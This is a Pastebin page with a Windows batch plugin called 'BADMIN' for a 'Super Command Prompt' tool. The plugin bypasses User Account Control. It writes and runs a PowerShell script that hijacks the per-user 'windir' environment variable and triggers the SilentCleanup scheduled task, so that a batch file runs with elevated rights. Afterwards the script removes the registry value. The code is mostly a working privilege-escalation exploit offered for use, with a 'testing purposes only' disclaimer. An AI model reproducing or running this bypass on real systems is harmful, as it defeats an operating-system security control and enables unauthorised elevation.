Advertisement
LiamBogur

BADMIN | SCMD PLUGIN

Mar 22nd, 2019
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.98 KB | None | 0 0
  1. rem Made Using LiamBogurs Super Command Prompt Plugin Compiler
  2. rem Made By LiamBogur (UAC Bypass Admin Command)
  3. rem To install plugins just put the code in a .scmd file in the same directory as the main program
  4. rem Remember to frequently check for new updates of this plugin (not that this one will be updated much)
  5. rem NOTE: I am not legally responsible for anything you do with this program, this program was made for testing purposes ONLY!
  6. if %D%==1 (
  7. goto :eof
  8. )
  9.  
  10. if %A%==2 (
  11. if /I %Command%==BADMIN (
  12. echo Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "C:\Users\Public\SCMD.bat %LASTDIR% ;#">Powershell.ps1
  13. echo schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I ^| Out-Null>>Powershell.ps1
  14. echo Remove-ItemProperty -Path "HKCU:\Environment" -Name "windir">>Powershell.ps1
  15. powershell -ep bypass .\Powershell.ps1
  16. del Powershell.ps1
  17. exit
  18. )
  19.  
  20. if /I %Command%==PHELP (
  21. echo Badmin ^| Badmin ^(Like the admin command, but bypasses UAC^)
  22. goto :eof
  23. )
  24. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement